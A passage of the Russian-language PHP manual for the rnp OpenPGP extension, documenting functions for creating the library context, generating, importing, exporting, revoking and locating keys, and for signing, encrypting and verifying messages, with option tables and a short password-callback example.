rnp_dump_packets_to_json(string $input, int $flags): string|false

Список параметров

input

Входная строка, содержащая данные OpenPGP в двоичном или ASCII-закодированном формате.

flags

Смотрите предопределённые константы RNP_JSON_DUMP_*.

Возвращаемые значения

Строка JSON с выводом или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате

  • « rnp_dump_packets_to_json
  • rnp_ffi_create »
  • PHP Manual
  • Функции Rnp
  • Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате

rnp_dump_packets

(PECL rnp >= 0.1.1)

rnp_dump_packets — Выгружает информацию о потоке пакетов OpenPGP в человеко-читаемом формате

Описание

rnp_dump_packets(string $input, int $flags): string|false

Список параметров

input

Входная строка, содержащая данные OpenPGP в двоичном или ASCII-закодированном формате.

flags

Смотрите предопределённые константы RNP_JSON_DUMP_*.

Возвращаемые значения

Текст, описывающий последовательность пакетов или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой

  • « rnp_dump_packets
  • rnp_ffi_destroy »
  • PHP Manual
  • Функции Rnp
  • Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой

rnp_ffi_create

(PECL rnp >= 0.1.1)

rnp_ffi_create — Создаёт объект верхнего уровня, используемый для взаимодействия с библиотекой

Описание

rnp_ffi_create(string $pub_format, string $sec_format): RnpFFI|false

Список параметров

pub_format

Формат открытого ключа, RNP_KEYSTORE_GPG или другая константа RNP_KEYSTORE_*.

sec_format

Формат закрытого ключа, RNP_KEYSTORE_GPG или другая константа RNP_KEYSTORE_*.

Возвращаемые значения

Возвращает объект RnpFFI в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой

  • « rnp_ffi_create
  • rnp_ffi_set_pass_provider »
  • PHP Manual
  • Функции Rnp
  • Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой

rnp_ffi_destroy

(PECL rnp >= 0.1.1)

rnp_ffi_destroy — Уничтожает объект верхнего уровня, используемый для взаимодействия с библиотекой

Описание

rnp_ffi_destroy(RnpFFI $ffi): void

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию поставщика паролей

  • « rnp_ffi_destroy
  • rnp_import_keys »
  • PHP Manual
  • Функции Rnp
  • Устанавливает callback-функцию поставщика паролей

rnp_ffi_set_pass_provider

(PECL rnp >= 0.1.1)

rnp_ffi_set_pass_provider — Устанавливает callback-функцию поставщика паролей

Описание

rnp_ffi_set_pass_provider(RnpFFI $ffi, callable $password_callback): bool

Устанавливает callback-функцию поставщика пароля. Функция может запрашивать пароль на стандартном входе (если PHP скрипт выполняется в среде командной строки), отображать диалог GUI или предоставлять пароль любым другим возможным способом. Запрашиваемые пароли используются для шифрования или расшифровки секретных ключей или выполнения операций симметричного шифрования/дешифрования.

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

password_callback

Функция, которая будет вызываться для каждого запроса пароля. У неё следующая сигнатура:

password_callback(string $key_fp, string $pgp_context, string &$password): bool
  • $key_fp - Цифровой отпечаток, если таковой имеется. Может быть пустым.
  • $pgp_context - Строка, описывающая, почему запрашивается ключ.
  • $password - Ссылка на строку пароля, в которой должен храниться предоставленный пароль.
Callback-функция должна возвращать true, если пароль был успешно установлен или false в случае возникновения ошибки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример простой callback-функции

<?php
function password_callback(string $key_fp, string $pgp_context, string &$password)
{
$password = "password";

return true;
}

$ffi = rnp_ffi_create('GPG', 'GPG');

rnp_ffi_set_pass_provider($ffi, 'password_callback');

User Contributed Notes

There are no user contributed notes for this page.


Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей

  • « rnp_ffi_set_pass_provider
  • rnp_import_signatures »
  • PHP Manual
  • Функции Rnp
  • Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей

rnp_import_keys

(PECL rnp >= 0.1.1)

rnp_import_keys — Импортирует ключи из строки PHP в связку ключей и получает JSON с описанием новых/обновлённых ключей

Описание

rnp_import_keys(RnpFFI $ffi, string $input, int $flags): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

input

Пакеты OpenPGP, содержащие ключ(и), которые нужно загрузить. Могут быть бинарными или ASCII-закодированными.

flags

Смотрите предопределённые константы RNP_LOAD_SAVE_*.

Возвращаемые значения

JSON-строка с информацией о новых и обновлённых ключах в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей

  • « rnp_import_keys
  • rnp_key_export_autocrypt »
  • PHP Manual
  • Функции Rnp
  • Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей

rnp_import_signatures

(PECL rnp >= 0.1.1)

rnp_import_signatures — Импортирует автономные подписи в связку ключей и получает JSON с описанием обновлённых ключей

Описание

rnp_import_signatures(RnpFFI $ffi, string $input, int $flags): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

input

Пакеты OpenPGP, содержащие подписи, которые необходимо импортировать. Могут быть бинарными или ASCII-закодированными.

flags

В настоящее время должно быть 0.

Возвращаемые значения

JSON-строка с информацией об обновлённых ключах в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)

  • « rnp_import_signatures
  • rnp_key_export_revocation »
  • PHP Manual
  • Функции Rnp
  • Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)

rnp_key_export_autocrypt

(PECL rnp >= 0.1.1)

rnp_key_export_autocrypt — Экспортирует минимальный ключ для функции автоматического шифрования (всего 5 пакетов: ключ, uid, подпись, дочерний ключ шифрования, подпись)

Описание

rnp_key_export_autocrypt(
RnpFFI $ffi,
string $key_fp,
string $subkey_fp,
string $uid,
int $flags
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток первичного ключа.

subkey_fp

Дочерний ключ для экспорта. Может быть пустой строкой, чтобы выбрать первый подходящий дочерний ключ.

uid

Идентификатор пользователя для экспорта. Может быть пустой строкой, если у экспортируемого ключа только один uid.

flags

В настоящее время поддерживается только RNP_KEY_EXPORT_BASE64. Включение приведёт к экспорту данных ключа в кодировке base64 вместо двоичной.

Возвращаемые значения

OpenPGP-пакеты экспортированного ключа в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Генерирует и экспортирует подпись отзыва первичного ключа

  • « rnp_key_export_autocrypt
  • rnp_key_export »
  • PHP Manual
  • Функции Rnp
  • Генерирует и экспортирует подпись отзыва первичного ключа

rnp_key_export_revocation

(PECL rnp >= 0.1.1)

rnp_key_export_revocation — Генерирует и экспортирует подпись отзыва первичного ключа

Описание

rnp_key_export_revocation(
RnpFFI $ffi,
string $key_fp,
int $flags,
array $options = ?
): string|false

Примечание: чтобы отозвать ключ, вам нужно импортировать подпись в хранилище ключей или воспользоваться функцией rnp_key_revoke().

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток первичного ключа, который должен быть отозван.

flags

RNP_KEY_EXPORT_ARMORED или 0.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"hash" | string | Установить хеш-алгоритм, используемый при вычислении подписи.
"code" | string | Код причины для кода отзыва. Возможные значения: 'no', 'supersed', 'compromised', 'retired'. Если не определено, то по умолчанию будет использоваться значение 'no'.
"reason" | string | Текстовое представление причины отзыва.

Возвращаемые значения

Экспортированная подпись отзыва в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует ключ

  • « rnp_key_export_revocation
  • rnp_key_get_info »
  • PHP Manual
  • Функции Rnp
  • Экспортирует ключ

rnp_key_export

(PECL rnp >= 0.1.1)

rnp_key_export — Экспортирует ключ

Описание

rnp_key_export(RnpFFI $ffi, string $key_fp, int $flags): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток ключа.

flags

Смотрите предопределённые константы RNP_KEY_EXPORT_* (за исключением RNP_KEY_EXPORT_BASE64).

Возвращаемые значения

OpenPGP-пакеты экспортированного ключа (двоичные или ASCII-закодированные) в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о ключе

  • « rnp_key_export
  • rnp_key_remove »
  • PHP Manual
  • Функции Rnp
  • Получает информацию о ключе

rnp_key_get_info

(PECL rnp >= 0.1.1)

rnp_key_get_info — Получает информацию о ключе

Описание

rnp_key_get_info(RnpFFI $ffi, string $key_fp): array|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток ключа.

Возвращаемые значения

Ассоциативный массив с информацией о ключе или false в случае возникновения ошибки.

Ключ | Тип данных | Описание
"is_primary" | boolean | true, если ключ является первичным ключом.
"is_sub" | boolean | true, если этот ключ является дочерним ключом.
"is_valid" | boolean | true, если открытый ключ действителен. Сюда входит проверка подписей, сроков действия, аннулирования и так далее.
"is_revoked" | boolean | true, если ключ отозван.
"is_superseded" | boolean | true, если ключ заменён. Присутствует только в случае отзыва ключа.
"is_compromised" | boolean | true, если этот ключ скомпрометирован. Присутствует только в случае отзыва ключа.
"is_retired" | boolean | true, если данный ключ отозван. Присутствует только в случае отзыва ключа.
"is_expired" | boolean | true, если срок действия этого ключа истёк.
"have_secret" | boolean | true, если у ключа есть закрытая часть.
"is_locked" | boolean | true, если ключ в настоящее время заблокирован. Присутствует только для закрытых ключей.
"is_protected" | boolean | true, если данный ключ защищён. Присутствует только для закрытых ключей. Защищённый ключ - это ключ, который зашифрован и может безопасно храниться в памяти и блокируется/разблокируется по мере необходимости.
"have_public" | boolean | true, если у ключа есть открытая часть. Как правило, у всех ключей есть открытую часть.
"valid_till" | integer | Метка времени, до которой ключ считается действительным. Примечание: при этом учитывается не только истечение срока действия ключа, но и его отзыв. Для подключаемого дочернего ключа также будет проверяться время действия первичного ключа.
"bits" | integer | Количество битов в ключе. Для ключей на основе EC, будет содержаться размер кривой.
"alg" | string | Имя алгоритма ключа.
"subkeys" | array | Индексированный массив, содержащий строки цифровых отпечатков дочерних ключей. Присутствует только для первичных ключей. Может быть пустым, если у первичного ключа нет дочерних ключей.
"uids" | array | Индексированный массив, содержащий строки идентификаторов пользователей. Присутствует только для первичных ключей. Может быть пустым, если первичный ключ не содержит идентификаторов пользователей.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет ключ из связки (связок)

  • « rnp_key_get_info
  • rnp_key_revoke »
  • PHP Manual
  • Функции Rnp
  • Удаляет ключ из связки (связок)

rnp_key_remove

(PECL rnp >= 0.1.1)

rnp_key_remove — Удаляет ключ из связки (связок)

Описание

rnp_key_remove(RnpFFI $ffi, string $key_fp, int $flags): bool

Примечание: необходимо вызвать функцию rnp_save_keys() для записи обновлённых связок ключей.

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток ключа.

flags

Смотрите константы RNP_KEY_REMOVE_*. Флаг RNP_KEY_REMOVE_SUBKEYS будет работать только для первичного ключа и удалит также все его подключи.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва

  • « rnp_key_remove
  • rnp_list_keys »
  • PHP Manual
  • Функции Rnp
  • Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва

rnp_key_revoke

(PECL rnp >= 0.1.1)

rnp_key_revoke — Отзывает ключ или дочерний ключ путём создания и добавления подписи отзыва

Описание

rnp_key_revoke(
RnpFFI $ffi,
string $key_fp,
int $flags,
array $options = ?
): bool

Примечание: необходимо вызвать функцию rnp_save_keys() для записи обновлённых связок ключей.

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

key_fp

Цифровой отпечаток ключа.

flags

В настоящее время должно быть 0.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"hash" | string | Установить хеш-алгоритм, используемый при вычислении подписи.
"code" | string | Код причины для кода отзыва. Возможные значения: 'no', 'supersed', 'compromised', 'retired'. Если не определено, то по умолчанию будет использоваться значение 'no'.
"reason" | string | Текстовое представление причины отзыва.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора

  • « rnp_key_revoke
  • rnp_load_keys_from_path »
  • PHP Manual
  • Функции Rnp
  • Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора

rnp_list_keys

(PECL rnp >= 0.1.1)

rnp_list_keys — Перечисляет все ключи, присутствующие в связке ключей, по указанному типу идентификатора

Описание

rnp_list_keys(RnpFFI $ffi, string $identifier_type): array|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

identifier_type

Тип идентификатора ключа ("userid", "keyid", "grip", "fingerprint").

Возвращаемые значения

Ассоциативный массив, где ключ - строка идентификатора, а значение - цифровой отпечаток ключа PGP или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Загружает ключи из указанного пути

  • « rnp_list_keys
  • rnp_load_keys »
  • PHP Manual
  • Функции Rnp
  • Загружает ключи из указанного пути

rnp_load_keys_from_path

(PECL rnp >= 0.1.1)

rnp_load_keys_from_path — Загружает ключи из указанного пути

Описание

rnp_load_keys_from_path(
RnpFFI $ffi,
string $format,
string $input_path,
int $flags
): bool

Обратите внимание, что для G10 входными данными должен быть каталог (который должен уже существовать).

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

format

Формат ключа данных (GPG, KBX, G10).

input_path

Файл или каталог, содержащий ключи.

flags

Смотрите описание флагов RNP_LOAD_SAVE_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Загружает ключи из строки PHP

  • « rnp_load_keys_from_path
  • rnp_locate_key »
  • PHP Manual
  • Функции Rnp
  • Загружает ключи из строки PHP

rnp_load_keys

(PECL rnp >= 0.1.1)

rnp_load_keys — Загружает ключи из строки PHP

Описание

rnp_load_keys(
RnpFFI $ffi,
string $format,
string $input,
int $flags
): bool

Обратите внимание, что для G10 входными данными должен быть каталог (который должен уже существовать).

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

format

Формат ключа данных (GPG, KBX, G10).

input

Пакеты OpenPGP, содержащие ключ(и), которые нужно загрузить. Могут быть бинарными или ASCII-закодированными.

flags

Смотрите описание флагов RNP_LOAD_SAVE_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Поиск ключа

  • « rnp_load_keys
  • rnp_op_encrypt »
  • PHP Manual
  • Функции Rnp
  • Поиск ключа

rnp_locate_key

(PECL rnp >= 0.1.1)

rnp_locate_key — Поиск ключа

Описание

rnp_locate_key(RnpFFI $ffi, string $identifier_type, string $identifier): string|false

Примечание: при поиске по userid проверяются только действительные имена пользователей.

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

identifier_type

Строка типа идентификатора: "userid", "keyid", "fingerprint", "grip".

identifier

PGP идентификатор пользователя (имя и e-mail) для типа "userid", шестнадцатеричная строка, которая представляет собой идентификатор ключа, цифровой отпечаток или захват ключа соответственно.

Возвращаемые значения

Возвращает шестнадцатеричный цифровой отпечаток ключа, найденного в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Шифрует сообщение

  • « rnp_locate_key
  • rnp_op_generate_key »
  • PHP Manual
  • Функции Rnp
  • Шифрует сообщение

rnp_op_encrypt

(PECL rnp >= 0.1.1)

rnp_op_encrypt — Шифрует сообщение

Описание

rnp_op_encrypt(
RnpFFI $ffi,
string $message,
array $recipient_keys_fp,
array $options = ?
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

message

Сообщение, которое необходимо зашифровать.

recipient_keys_fp

Массив с отпечатками ключей получателя. Должен присутствовать хотя бы один ключ.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"compression_alg" | string | Алгоритм сжатия. Для включения сжатия данных должны быть заданы как "compression_alg", так и "compression_level".
"compression_level" | integer | Уровень сжатия, 0-9. 0 отключает сжатие.
"armor" | boolean | Включает ASCII-защищённый вывод. По умолчанию отключён.
"add_signature" | boolean | Зашифрованное сообщение будет также подписано.
"hash" | string | Устанавливает хеш-алгоритм, используемый при вычислении подписи. Опции "add_signature" должно быть установлено значение true.
"creation_time" | integer | Устанавливает время создания подписи в секундах с 1 января 1970 года по Гринвичу. По умолчанию используется текущее время.
"expiration_time" | integer | Устанавливает время истечения срока действия подписи в секундах с момента создания. Значение 0 используется для пометки подписи как не истекающей (значение по умолчанию).
"password" | string | Добавляет пароль, который используется для шифрования данных.
"cipher" | string | Устанавливает алгоритм симметричного шифрования. Возможные значения: "IDEA", "TRIPLEDES", "CAST5", "BLOWFISH", "AES128", "AES192", "AES256", "TWOFISH", "CAMELLIA128", "CAMELLIA192", "CAMELLIA256", "SM4".
"aead" | string | Устанавливает алгоритм режима AEAD. Возможные значения: "None" для отключения AEAD, "EAX", "OCB".
"aead_bits" | integer | Устанавливает длину ячейки для режима AEAD через количество битов размера ячейки. Должно быть от 0 до 56.
"flags" | integer | Устанавливает дополнительные флаги шифрования. Поддерживаемые флаги: RNP_ENCRYPT_NOWRAP - не заворачивать данные в литеральный пакет данных. Это позволит шифровать уже подписанные данные.
"file_name" | string | Устанавливает внутреннее имя файла для шифруемых данных. Специальное значение _CONSOLE может использоваться для пометки сообщения как "только для ваших глаз", т.е. оно не должно нигде храниться, а только отображаться получателю. По умолчанию используется пустая строка.
"file_mtime" | integer | Устанавливает дату модификации входного файла в секундах с 1 января 1970 года по Гринвичу.

Возвращаемые значения

Зашифрованные данные в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Генерирует ключ

  • « rnp_op_encrypt
  • rnp_op_sign_cleartext »
  • PHP Manual
  • Функции Rnp
  • Генерирует ключ

rnp_op_generate_key

(PECL rnp >= 0.1.1)

rnp_op_generate_key — Генерирует ключ

Описание

rnp_op_generate_key(
RnpFFI $ffi,
string $userid,
string $key_alg,
string $sub_alg = ?,
array $options = ?
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

userid

PGP User ID - текст, предназначенный для представления имени и адреса электронной почты владельца ключа.

key_alg

Алгоритм первичного ключа (например, 'RSA', 'DSA' и т.д.).

sub_alg

Алгоритм дочернего ключа. Если значение не задано, то дочерний ключ генерироваться не будет.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"bits" | integer | Размер первичного ключа в битах. Применяется только для ключей RSA, DSA и El-Gamal.
"hash" | string | Хеш-алгоритм, используемый в самоподписи или подписи с привязкой к дочернему ключу.
"dsa_qbits" | integer | Устанавливает размер параметра q для DSA-ключа. Примечание: в зависимости от разрядности ключа будет установлено соответствующее значение по умолчанию. Однако при необходимости его можно переопределить.
"curve" | string | Установка кривой, используемой для ключа ECC. Примечание: это применимо только для ключей ECDSA, ECDH и SM2.
"request_password" | boolean | Включает запрос пароля через провайдера паролей. Этот пароль будет использоваться для шифрования ключа. Callback-функция провайдера паролей должна быть задана заранее вызовом функции rnp_ffi_set_pass_provider(). Примечание: данная настройка будет проигнорирована, если пароль был задан через с помощью "password".
"password" | string | Устанавливает пароль, используемый для шифрования данных секретного ключа.
"expiration" | integer | Устанавливает время истечения срока действия ключей и дочерних ключей в секундах.
"sub_bits" | integer | Размер дочернего ключа в битах. Применяется только для ключей RSA, DSA и El-Gamal.
"sub_hash" | string | Хеш-алгоритм, используемый в самоподписи дочернего ключа или в подписи с привязкой к дочернему ключу.
"sub_curve" | string | Устанавливает кривую, используемую для дочернего ключа ECC. Примечание: это применимо только для ключей ECDSA, ECDH и SM2.

Возвращаемые значения

Отпечаток сгенерированного первичного ключа или false в случае возникновения ошибки. Этот отпечаток может быть использован в дальнейшем для ссылки на ключ в операциях подписи и шифрования. Данные ключа хранятся в контексте памяти FFI и могут быть сохранены с помощью функции rnp_save_keys() или rnp_save_keys_to_path().

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения

  • « rnp_op_generate_key
  • rnp_op_sign_detached »
  • PHP Manual
  • Функции Rnp
  • Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения

rnp_op_sign_cleartext

(PECL rnp >= 0.1.1)

rnp_op_sign_cleartext — Выполняет операцию подписания текстовых данных, возвращая подписанный открытый текст сообщения

Описание

rnp_op_sign_cleartext(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

data

Данные для подписи.

keys_fp

Массив с цифровыми отпечатками ключей. Должен быть указан хотя бы один ключ. Ключи должны присутствовать в параметре ffi.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"armor" | boolean | Включает ASCII-защищённый вывод. По умолчанию отключён.
"hash" | string | Устанавливает хеш-алгоритм, используемый при вычислении подписи.
"creation_time" | integer | Устанавливает время создания подписи в секундах с 1 января 1970 года по Гринвичу. По умолчанию используется текущее время.
"expiration_time" | integer | Устанавливает время истечения срока действия подписи в секундах с момента создания. Значение 0 используется для пометки подписи как не истекающей (значение по умолчанию).

Возвращаемые значения

Подписанный открытый текст, содержащий исходные данные с дополнительными заголовками и ASCII-защищённой подписью в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)

  • « rnp_op_sign_cleartext
  • rnp_op_sign »
  • PHP Manual
  • Функции Rnp
  • Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)

rnp_op_sign_detached

(PECL rnp >= 0.1.1)

rnp_op_sign_detached — Выполняет операцию подписания, возвращает отсоединённую подпись (подписи)

Описание

rnp_op_sign_detached(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

data

Данные для подписи.

keys_fp

Массив с цифровыми отпечатками ключей. Должен быть указан хотя бы один ключ. Ключи должны присутствовать в параметре ffi.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"armor" | boolean | Включает ASCII-защищённый вывод. По умолчанию отключён.
"hash" | string | Устанавливает хеш-алгоритм, используемый при вычислении подписи.
"creation_time" | integer | Устанавливает время создания подписи в секундах с 1 января 1970 года по Гринвичу. По умолчанию используется текущее время.
"expiration_time" | integer | Устанавливает время истечения срока действия подписи в секундах с момента создания. Значение 0 используется для пометки подписи как не истекающей (значение по умолчанию).

Возвращаемые значения

Возвращает данные с отсоединённой подписью (подписями) в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)

  • « rnp_op_sign_detached
  • rnp_op_verify_detached »
  • PHP Manual
  • Функции Rnp
  • Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)

rnp_op_sign

(PECL rnp >= 0.1.1)

rnp_op_sign — Выполняет операцию подписания бинарных данных, возвращает присоединённую подпись (подписи)

Описание

rnp_op_sign(
RnpFFI $ffi,
string $data,
array $keys_fp,
array $options = ?
): string|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

data

Данные для подписи.

keys_fp

Массив с цифровыми отпечатками ключей. Должен быть указан хотя бы один ключ. Ключи должны присутствовать в параметре ffi.

options

Ассоциативный массив с опциями.

Ключ | Тип данных | Описание
"compression_alg" | string | Алгоритм сжатия. Для включения сжатия данных должны быть заданы как "compression_alg", так и "compression_level".
"compression_level" | integer | Уровень сжатия, 0-9. 0 отключает сжатие.
"armor" | boolean | Включает ASCII-защищённый вывод. По умолчанию отключён.
"hash" | string | Устанавливает хеш-алгоритм, используемый при вычислении подписи.
"creation_time" | integer | Устанавливает время создания подписи в секундах с 1 января 1970 года по Гринвичу. По умолчанию используется текущее время.
"expiration_time" | integer | Устанавливает время истечения срока действия подписи в секундах с момента создания. Значение 0 используется для пометки подписи как не истекающей (значение по умолчанию).
"file_name" | string | Устанавливает внутреннее имя файла для шифруемых данных. Специальное значение _CONSOLE может использоваться для пометки сообщения как "только для ваших глаз", т.е. оно не должно нигде храниться, а только отображаться получателю. По умолчанию используется пустая строка.
"file_mtime" | integer | Устанавливает дату модификации входного файла в секундах с 1 января 1970 года по Гринвичу.

Возвращаемые значения

Возвращает данные с присоединённой подписью (подписями) в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет отсоединённые подписи

  • « rnp_op_sign
  • rnp_op_verify »
  • PHP Manual
  • Функции Rnp
  • Проверяет отсоединённые подписи

rnp_op_verify_detached

(PECL rnp >= 0.1.1)

rnp_op_verify_detached — Проверяет отсоединённые подписи

Описание

rnp_op_verify_detached(RnpFFI $ffi, string $data, string $signature): array|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

data

Исходные данные.

signature

Данные отсоединённой подписи.

Возвращаемые значения

Ассоциативный массив, содержащий информацию о результатах проверки или false в случае возникновения ошибки.

Ключ | Тип данных | Описание
"verification_status" | string | Общий результат проверки, либо строка "Success", либо соответствующее сообщение об ошибке. Результат "Success" устанавливается, если хотя бы одна подпись является действительной и успешно проверена. Индивидуальные результаты проверки для каждой подписи можно проверить в массиве "signatures".
"file_name" | string | Имя файла.
"file_mtime" | integer | Время изменения файла.
"mode" | string | Режим защиты данных (шифрования), используемый в обрабатываемом сообщении. В настоящее время определены следующие значения: "none", "cfb", "cfb-mdc", "aead-ocb", "aead-eax".
"cipher" | string | Симметричный шифр, используемый для шифрования данных.
"valid_integrity" | boolean | true, если использовалась защита целостности сообщения (т.е. MDC или AEAD) и она была успешно подтверждена.
"signatures" | array | Ассоциативный массив, описывающий каждую найденную подпись. Смотрите описание ниже.

Дочерний массив "signatures".

Ключ | Тип данных | Описание
"verification_status" | string | Статус проверки подписи, либо строка "Success", либо соответствующее сообщение об ошибке.
"creation_time" | integer | Время создания подписи в секундах с 1 января 1970 года по Гринвичу.
"expiration_time" | integer | Время истечения срока действия подписи в секундах с момента создания или 0, если срок действия подписи не истекает.
"hash" | string | Алгоритм хеш-функции, используемый для вычисления подписи.
"signing_key" | string | Цифровой отпечаток ключа, используемого для подписи. Может иметь значение "Not found", если соответствующий открытый ключ не загружен в объект FFI.
"signature_type" | string | Тип подписи. В настоящее время определены следующие значения: 'binary', 'text', 'standalone', 'certification (generic)', 'certification (persona)', 'certification (casual)', 'certification (positive)', 'subkey binding', 'primary key binding', 'direct', 'key revocation', 'subkey revocation', 'certification revocation', 'timestamp', 'uknown: 0..255'.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет присоединённую подпись или подпись открытого текста

  • « rnp_op_verify_detached
  • rnp_save_keys_to_path »
  • PHP Manual
  • Функции Rnp
  • Проверяет присоединённую подпись или подпись открытого текста

rnp_op_verify

(PECL rnp >= 0.1.1)

rnp_op_verify — Проверяет присоединённую подпись или подпись открытого текста

Описание

rnp_op_verify(RnpFFI $ffi, string $data): array|false

Список параметров

ffi

Объект FFI, возвращаемый функцией rnp_ffi_create.

data

Подписанные данные.

Возвращаемые значения

Ассоциативный массив, содержащий информацию о результатах проверки или false в случае возникновения ошибки.

Key | Data type | Описание
"verification_status" | string | Общий результат проверки, либо строка "Success", либо соответствующее сообщение об ошибке. Результат "Success" устанавливается, если хотя бы одна подпись является действительной и успешно проверена. Индивидуальные результаты проверки для каждой подписи можно проверить в массиве "signatures".
"file_name" | string | Имя файла.
"file_mtime" | integer | Время изменения файла.
"mode" | string | Режим защиты данных (шифрования), используемый в обрабатываемом сообщении. В настоящее время определены следующие значения: "none", "cfb", "cfb-mdc", "aead-ocb", "aead-eax".
"cipher" | string | Симметричный шифр, используемый для шифрования данных.
"valid_integrity" | boolean | true, если использовалась защита целостности сообщения (т.е. MDC или AEAD) и она была успешно подтверждена.
"signatures" | array | Ассоциативный массив, описывающий каждую найденную подпись. Смотрите описание ниже.

Дочерний массив "signatures".

Ключ | Тип данных | Описание
"verification_status" | string | Статус проверки подписи, либо строка "Success", либо соответствующее сообщение об ошибке.
"creation_time" | integer | Время создания подписи в секундах с 1 января 1970 года по Гринвичу.
"expiration_time" | integer | Время истечения срока действия подписи в секундах с момента создания или 0, если срок действия подписи не истекает.
"hash" | string | Алгоритм хеш-функции, используемый для вычисления подписи.
"signing_key" | string | Цифровой отпечаток ключа, используемого для подписи. Может иметь значение "Not found", если соответствующий открытый ключ не загружен в объект FFI.
"signature_type" | string | Тип подписи. В настоящее время определены следующие значения: 'binary', 'text', 'standalone', 'certification (generic)', 'certification (persona)', 'certification (casual)', 'certification (positive)', 'subkey binding', 'primary key binding', 'direct', 'key revocation', 'subkey revocation', 'certification revocation', 'timestamp', 'uknown: 0..255'.

User Contributed Notes

